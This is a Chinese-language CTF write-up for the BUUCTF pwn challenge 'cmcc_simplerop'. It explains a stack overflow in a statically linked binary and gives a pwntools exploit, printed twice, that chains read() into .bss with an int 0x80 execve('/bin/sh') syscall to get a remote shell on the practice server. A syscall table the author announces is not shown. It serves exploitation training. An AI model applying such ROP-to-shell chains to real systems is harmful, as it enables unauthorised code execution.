一道不能泄露libc的rop题——cmcc_simplerop
默认操作
没啥用,进入ida看一下
明显的栈溢出,但这道题坑就坑在所有的函数都是静态链接的,没有libc地址可以泄露
所以使用int 80中断程序来调用系统函数
只要找到execute(‘bin/sh’)就算成功了
各种地址就不写了,用RoPgadget就找的到
bin/sh通过向bss段写入即可 通过elf.bss()函数可以找到bss的位置
然后这里强调一个概念,即函数的参数在使用后并没有消失,需要用pop将参数给吸出来,不然得不到正确的返回地址
exp:
from pwn import *
#p=process('./simplerop')
p=remote('node3.buuoj.cn',25555)
elf=ELF('./simplerop')
pop=0x080bae06
pop3=0x0806e850
int=0x080493e1
read=elf.symbols['read']
bss=elf.bss()
payload='a'*32+p32(read)+p32(pop3)+p32(1)+p32(bss)+p32(8)
payload+=p32(pop)+p32(11)+p32(pop3)+p32(0)+p32(0)+p32(bss)+p32(int)
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()
得到flag
这里又有一个坑了我好几次的坑,即ida显示的栈中的参数距离ebp的偏移其实是不对的,要去gdb里动态调试,gdb,永远的神
exp:
from pwn import *
#p=process('./simplerop')
p=remote('node3.buuoj.cn',25555)
elf=ELF('./simplerop')
pop=0x080bae06
pop3=0x0806e850
int=0x080493e1
read=elf.symbols['read']
bss=elf.bss()
payload='a'*32+p32(read)+p32(pop3)+p32(1)+p32(bss)+p32(8)
payload+=p32(pop)+p32(11)+p32(pop3)+p32(0)+p32(0)+p32(bss)+p32(int)
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()
下面是系统调用的int 表,注意要先用int 80中断程序,在赋值eax的值调用系统函数
这几天真的咸鱼,在学校比在家还闲,我真的醉了